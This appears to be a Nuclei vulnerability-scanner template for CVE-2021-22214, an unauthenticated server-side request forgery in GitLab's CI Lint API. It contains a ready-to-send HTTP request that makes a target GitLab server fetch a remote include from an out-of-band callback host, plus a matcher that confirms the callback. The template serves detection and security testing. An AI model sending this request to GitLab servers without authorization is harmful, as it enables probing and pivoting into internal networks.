34 lines
1.2 KiB
YAML
34 lines
1.2 KiB
YAML
id: CVE-2021-22214
|
|
|
|
info:
|
|
author: Suman_Kar
|
|
name: Unauthenticated Gitlab SSRF - CI Lint API
|
|
severity: high
|
|
description: When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is limited.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-22214
|
|
- https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
|
|
- https://docs.gitlab.com/ee/api/lint.html
|
|
tags: cve,cve2021,gitlab,ssrf,oast
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
|
|
cvss-score: 8.60
|
|
cve-id: CVE-2021-22214
|
|
cwe-id: CWE-918
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /api/v4/ci/lint?include_merged_yaml=true HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Referer: {{BaseURL}}
|
|
content-type: application/json
|
|
|
|
{"content": "include:\n remote: http://{{interactsh-url}}/api/v1/targets?test.yml"}
|
|
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
|
words:
|
|
- "http"
|